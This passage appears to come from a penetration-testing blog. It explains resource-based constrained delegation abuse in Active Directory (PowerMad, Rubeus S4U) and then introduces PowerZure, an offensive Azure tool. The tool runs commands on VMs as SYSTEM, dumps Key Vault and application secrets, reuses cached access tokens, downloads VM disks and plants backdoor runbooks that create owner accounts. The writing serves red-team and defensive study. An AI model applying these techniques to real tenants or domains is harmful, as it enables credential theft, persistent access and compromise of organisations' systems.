msDS-AllowedToActOnBehalfOfOtherIdentity property on a computer object. Elad Shamir did an excellent write-up on how this can be abused. The summary of the article, is that if the TRUSTED_TO_AUTH_FOR_DELEGATION userAccountControl flag is not present, S4U2Self will still work, but the returned service ticket will not be marked forwardable. In the context of traditional constrained delegation, this means it couldn’t be used in the S4U2Proxy extension. However, with RBCD, even if the ticket is not marked as forwardable, it still works. The attack primitive then, is if an attacker has control of an account with an SPN set and there’s a computer account that has the msDS-AllowedToActOnBehalfOfOtherIdentity property set, the computer can be compromised. In addition, if the attacker has GenericWrite privileges over the computer account, they can compromise the computer due to being able to modify the ‘AllowedToAct’ attribute and setting it to an SPN they control. If an attacker does not have an account with an SPN set, they can create one by creating a computer object. By default, standard users in AD can create up to 10 computer objects. This can be done with Kevin Robertson’s PowerMad project. The attack path then looks like this: • Attacker discovers they have GenericWrite privileges over a computer • If the attacker doesn’t have an account with an SPN set, PowerMad is used to create a machine account, so now the attacker has an account with an SPN. OR • Attacker discovers the msDS-AllowedToActOnBehalfOfOtherIdentity on a computer is set for an SPN that the user has already compromised THEN • Rubeus’ S4U function is used to request a ticket on behalf of any user, via S4U2Self, to the account with an SPN set (e.g. Getting a TGS for Administrator for newmachine$)
• Rubeus’ S4U function then uses S4U2Proxy to request a TGS as Administrator (with the TGS from S4U2Self) to the target machine. The ticket is not marked as forwardable, which under traditional constrained delegation, would fail, but under RBCD, it does not matter and succeeds.
• The attacker now is able to access the target computer

In figure X, the attacker has compromised Bob, a user account with an SPN set.

For a transcript of the commands used, reference @harmj0y’s gist here (I slightly modified some commands for the User SPN instead of computer account).

Resources:

• # Attacking Azure, Azure AD, and Introducing PowerZure

1. Explain the components of Azure and how they fit into a modern IT environment.
2. Explain how certain things within Azure can be leveraged from an offensive perspective.
3. Introduce the PowerZure project and explain how it helps offensive operations against Azure.
https://github.com/hausec/PowerZure

### Background

Azure was released in 2010 as “Windows Azure” and was renamed “Microsoft Azure” in 2014 to imply that Azure covers more than just Windows products, as well as the major addition of Azure Resource Manager (Azure RM) and Azure Active Directory (Azure AD). It started as Platforms as a Service (PaaS) to spin up Virtual Machines (VMs), Storage, WebApps, and SQL Databases but has now evolved into Infrastructure as a Service (IaaS), as well as Software as a Service (SaaS), offering over 600 services.

Current implementations of Azure often involve using several components shown above, which will be highlighted.

### Components

Azure’s architecture is complicated as there are several components. There are a few components that are essential to understand as they are commonly used within businesses.

#### Enterprise

This represents the Azure global account. It’s the unique identity that the business owns and allows access to subscriptions, tenants, and services.

#### Tenant

Tenants are instances of Azure for the Enterprise. An Enterprise can have multiple tenants. This is often seen in companies that are geographically separated or subsidiaries. Access to one tenant in an enterprise does not give access to another tenant. An analogy is that tenants are similar to Forests in Active Directory, where trusts can be established (within Azure AD), but that is not default and must be configured.

#### Subscriptions

Subscriptions are how you gain access to Azure services (Azure itself, Azure AD, Storage, etc). Subscriptions are often broken out into uses for the businesses, e.g. a subscription for production web apps, another subscription for development web apps, etc.

#### Resources

Resources are the specific application, such as SQL servers, SQL DBs, virtual networks, run-books, accounts, etc.

#### Resource Groups

Resource groups are the containers that house the resources. Business will often have multiple resource groups depending on their usage of the resource.

#### Runbooks

Runbooks are part of the Azure Automation service and support scripting languages PowerShell and Python (2.7). These allow for automation of operations within Azure, e.g. start-up of multiple virtual machines at once. There are possible attack vectors within Runbooks that are covered later.

#### Azure Active Directory

Azure Active Directory (Azure AD) is directory services in the cloud. There are many differences between it and on-premise AD, which is also covered later.

Azure AD connect is the tools that actually connects on-premise with Azure AD. It has features such as hash synchronization and federation (between Tenants) to link to on-premise AD.

#### Service Principal

An Azure service principal is a security identity used by user-created apps, services, and automation tools to access specific Azure resources. Think of it as a ‘user identity’ (login and password or certificate) with a specific role, and tightly controlled permissions to access your resources. It only needs to be able to do specific things, unlike a general user identity. It improves security if you only grant it the minimum permissions level needed to perform its management tasks. For example, an organization can assign its deployment scripts to run authenticated as a service principal.

### Architecture

A visualization of Azure’s architecture is shown below

Azure AD is not a replacement for on-premise AD, nor is it the same as Azure (i.e. AzureAD vs. Azure). AzureAD is a management platform for AD from the cloud (reset passwords, create users, add users to groups, etc.) and used as the authentication piece into Azure as a whole (as well as O365). This still introduces several interesting attack paths that may also effect on-premise AD.

There are three primary ways of integrating on-premise Active Directory to Azure AD, Password Hash Synchronization (PHS), Pass Through Authentication (PTA), and Federated Services (ADFS). PHS and PTA both have potential attack vectors associated with them.

With Password Hash Synchronization (PHS), the passwords from on-premise AD are actually sent to the cloud, similar to how domain controllers synchronize passwords between each other via replication. This is done from a service account that is created with the installation of AD Connect.

This introduces a unique attack path where if the synchronization account is compromised, it has enough privileges that it potentially could lead to the compromise of the on-premise AD forest, as that account is granted replication rights which are needed for DCSync. Realistically, the sync account password should not be known and thus will not be logged in anywhere, however Dirk-jan, during his Troopers 2019 presentation, discovered how to reverse the account’s password from the SQL DB and made a script that would do the hard work.

#### Pass Through Authentication

Pass through authentication keeps the passwords on-premise but also allows the users to have a single password for Azure and on-premise. For example, when a user logins to Outlook on the web, they enter their credentials into the web portal (Azure AD), which Azure then uses PKI to encrypt the credentials and sends them to an agent on-premise. The agent decrypts the credentials and validates it against the DC, which returns a status back to the agent, which is then relayed back to Azure AD.

It’s possible to perform DLL injection into the PTA agent and intercept authentication requests, which include credentials in clear-text. @_xpn_ has written an excellent blog post on doing this.

### Access Control

#### Policies

Policies in Azure do not do the actual controlling of access, they are meant to enforce different rules and effects for resources. For example, with policy, you can restrict certain sizes of a VM in your subscription, or make sure the Administrators group in a VM doesn’t have too many members. Policies are broken into two parts — the policies themselves, and policy definitions. An example is shown below.

Policies contain multiple definitions, where definitions are what does the auditing/action. Thus, you can create a definition and apply it to multiple policies.

#### Role Based Access Control (RBAC) and Roles

Azure offers a more granular control to security with RBAC, in the form of Roles. It differs from Policies by focusing on user actions at different scopes. You might be added to the Contributor role for a resource group, allowing you to make changes to that resource group. RBAC in Azure allows for custom roles, however many businesses rely on the built-in roles. The list of roles and their access can be found here. To confuse you more, there’s a difference between Azure roles (referred to as Azure RBAC) and AzureAD roles. The primary difference, is that AzureAD roles only affect AzureAD and do not have any influence over resources within Azure. With this being said, the exclusion to that is the Global Administrator role, which has the option (literally a toggle switch in the Azure Portal) to also give themselves (Global Administrator) ownership of all resources within Azure itself.

For the purpose of this this article, only the following roles within Azure RBAC will be discussed:

• Owner
• Contributor

The reason being is there are far too many roles to go in depth on all of them, with also the additional option of custom roles. Within the Azure portal, you can read a resource’s security settings, such as which roles can access or make changes to that resource. This can be viewed in the Identity Access & Management (IAM) tab in the Azure portal if you prefer not to use the CLI.

Resources can have their own specific access control list (ACL), so you can add a user to only be able to view that specific resource. It’s important to note that roles/permissions are inheritance-based, meaning if a user is in the Contributor role for the resource group, they will effectively have Contributor access to every resource within the resource group. Even if they are only assigned to the reader role for a resource within that resource group, since they have Contributor access to the whole group they will be a Contributor to that resource.

### Attacking Azure and Introducing PowerZure

With several components in Azure, there are several different avenues for attacks within the platform. These attack vectors leverage misconfigurations or design flaws, some of which are listed here. The major question that needs to be addressed, is what is the goal of testing an Azure instance? This will depend on the engagement and scope of work, so there’s multiple answers to that, however in this article the purpose is to demonstrate the implications of certain roles and resources within Azure and how those can be abused both from a privilege escalation standpoint and an overall data extraction standpoint to possibly achieve that goal.

After interacting with Azure via CLI and the az module, I realize there is a great opportunity to script out many of the tasks an attacker would do within Azure. As a result, I’ve created PowerZure, a PowerShell project that’s purpose is to make interacting with Azure a bit easier, as well as adding offensive capability.

### PowerZure

PowerZure leverages three PowerShell modules for Azure:

• Azure CLI
• Azure PowerShell

Each module does things the other cannot, hence the need for all three. However, PowerZure mostly relies on the Azure CLI module.

PowerZure has several functions available and they are broken out in reference to their purpose:

• Operational — Functions that will cause an operation within Azure
• Information Gathering — Functions that gather information on resources in Azure
• Data Exfiltration — Functions that will exfiltrate data

For the sake of length and time, not all functions will be covered, but it is necessary to explain the purpose of some and the details around what is happening under the hood.

#### Startup

Since PowerZure requires the az module, After importing PowerZure ipmo .\PowerZure, it will download the modules if not already present.

For a full coverage of PowerZure, check out the documents on readthedocs.io

It then requires sign in before usage of the functions. There’s three types of logins for Azure:

1. Interactive. Simply type az login and you will be directed to a login page. If using MFA, you must login via Interactive mode.
2. Cached token. Tokens for Azure are cached in

C:\Users\[Name]\.Azure\accessTokens.json

So after you login once, the token is cached. This allow shows the possibility that an access token can be stolen and re-used.

3. Pass in credentials. You can login (if MFA is not enabled and you’re using a non-personal account) via az login -u User -p Password

Once logged in, PowerZure will display your username, the subscriptions you have access to, your roles, and your Azure AD group memberships. Knowledge of what Role the user has is key to figuring out what you can do operationally and what functions you can use within PowerZure. PowerZure’s help menu specifically lists out which roles are needed to run the function. This is purely in reference to the built-in roles, as custom roles are unpredictable. To view the help menu, the command is PowerZure -h

In addition, each function can be used with Get-Help to get information or syntax.

Before further operation of PowerZure, a default subscription must be set if there are multiple subscriptions so the script will know which to operate against. A subscription can be set via

Set-Subscription -Id [idgoeshere]

The subscription IDs are printed once you login to Azure with PowerZure. If only one subscription is present, this can be ignored.

#### Role Abuse

Each of the Global roles (Administrator, Owner, Contributor, Reader) will be broken down into what can be accomplished, why it’s necessary to accomplish, and how PowerZure helps.

The Global Reader role has read-only access for components in Azure (Subscriptions, Policies, Resources, etc.) This by itself can grant an attacker useful information. For example, if the attacker compromises an account with Reader privileges, they can read Runbooks. Runbooks fall under the “Automation Accounts” resource. An example is shown below

This can be useful to see if there’s any hard-coded credentials within those Runbooks.

As a Reader, you can also read several other resource’s details to search for hard-coded credentials or other potentially interesting information, including:

• Logic apps
• Deployment Templates
• Virtual Networks (Potentially useful to view new targets/address spaces)
• Export Templates on Virtual Machines
• Connection Strings in Azure SQL
• Configurations on several other resources/applications

PowerZure can be leveraged to do a lot of enumeration as a Reader. For example, gathering all users, groups, roles, etc. Runbooks can also be read. In PowerZure, Runbooks can be listed via Get-Runbooks

From here, the Runbooks can be obtained with Get-RunbookContent

Readers have access to all of the functions listed under ‘Information Gathering’, which can be found here.

Contributor

Contributor role allows you to actually edit resources and services within Azure, instead of just reading properties. Several attack vectors are present from the Contributor role that can be exploited with PowerZure.

• Execute-Command will execute a supplied command on a targeted VM. As Contributor, these commands are executed as SYSTEM.
• Execute-MSBuild is a function that will take in a MSBuild payload and execute it. By default, Windows VMs deployed with Azure’s templates will have .NET 4.0 installed.
• Execute-Program will upload and execute any file that is supplied. It works by identifying a storage container, uploads the supplied file through Get-AzVMCustomScriptExtension , then executes that program via az vm run invoke. This entire process does take time (~2 mins) unfortunately, due to the dynamic location of where the file is uploaded to on the VM.
• Get-AllKeyVaultContents will automatically go through a Key Vault, check for access, and print the results of any secrets, keys, or certificates. By default, Key Vaults only allow access to their owners, however if a user has Global Contributor, they can edit the access policies on the Key Vault and give themselves access. PowerZure does this automatically.
• Get-AllAppSecrets will return all passwords or certificate credentials for any Application that has them stored.
• Get-AllSecrets is a catch-all; it will run return all Key Vault secrets/keys/credentials, App Secrets, and Automation Account Run-as credentials.

• Get-AvailableVMDisks will list the available disks that are downloadable. This can then give the information needed for
• Get-VMDisk which will generate a URL to download that disk. A fair warning, though, disks can be massive in size.

Owner

Owners can do everything a Contributor can do, but they have one additional feature: They can also give permission to a resource they own. This is particularly useful as an attacker because it provides many opportunities to create a backdoor into a resource. For example, if an Owner controls a Virtual Machine resource, they can explicitly grant any user Owner status over that Virtual Machine. In PowerZure, this is accomplished via the Set-Role function. In addition, existing roles can be checked via Get-RolesUser function.

Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest

Administrators over a subscription have the ability to do everything an Owner can, plus create additional users and groups within Azure AD. They also have the ability to assign roles for the subscription. PowerZure has the ability to utilize an Administrator account to create a backdoor with a Runbook.

• Create-Backdoor , when executed, will create a Runbook. Inside the Runbook is instructions to create a new user and assign them to the Owner role, then generate a Webhook which will output a URI. This URI can then be passed into Execute-Backdoor.
• Execute-Backdoor will execute the Runbook. An attacker will create a backdoor in case the current account that is in use has it’s password changed. With Administrator role needed to create a user, a new co-administrator should be made as well to achieve this in the Runbook, in case credentials to the user in the Administrator role are changed.

### Use Case

So what is the point of PowerZure if you can accomplish all of this via the Azure Portal online? While true, PowerZure was written to help automate and script many of the tedious tasks that are endured when enumerating Azure through the Portal, e.g. listing all users of every group. The use case of the tool is situational. One example, is if a penetration tester or red-teamer compromises a computer and realizes the user has logged into Azure CLI before (not unusual for System Admins) and they have an accessToken in their .Azure file. The tester could then take that token and impersonate the user in Azure, where they now have Contributor access to several different VMs. In addition, operations within the portal do not always return the full details of the job. With az returning the raw JSON, PowerZure abstracts the JSON to give relevant details, or in some cases, displays the raw output.

### Final Thoughts

Azure usage has increased dramatically in the past few years and AzureAD is becoming more popular to use. My opinion is that it is not a replacement for on-premise AD at this time, however I do foresee Microsoft adding more functionality to AzureAD to allow businesses to interact more with on-premise. This blog post was meant to establish a base layer of knowledge on the platform and establish some common misconfigurations that can be exploited with PowerZure.

The one thing this article did allude to was the detections around said tactics. The detection capabilities within Azure are heavily gate-kept behind Azure’s services and the default detection capabilities leave much to be desired, often requiring work-arounds. As a result, this requires more detail that I believe would be best detailed in a follow up article. Said article will follow this one in regards to detections within Azure.

### Sources

1. PowerZure Project https://github.com/hausec/PowerZure
2. NetSPI and Karl Fosaaen

2. FoxIT and Dirk-Jan

3. Trimarc and Metcalf

4. XPN’s blog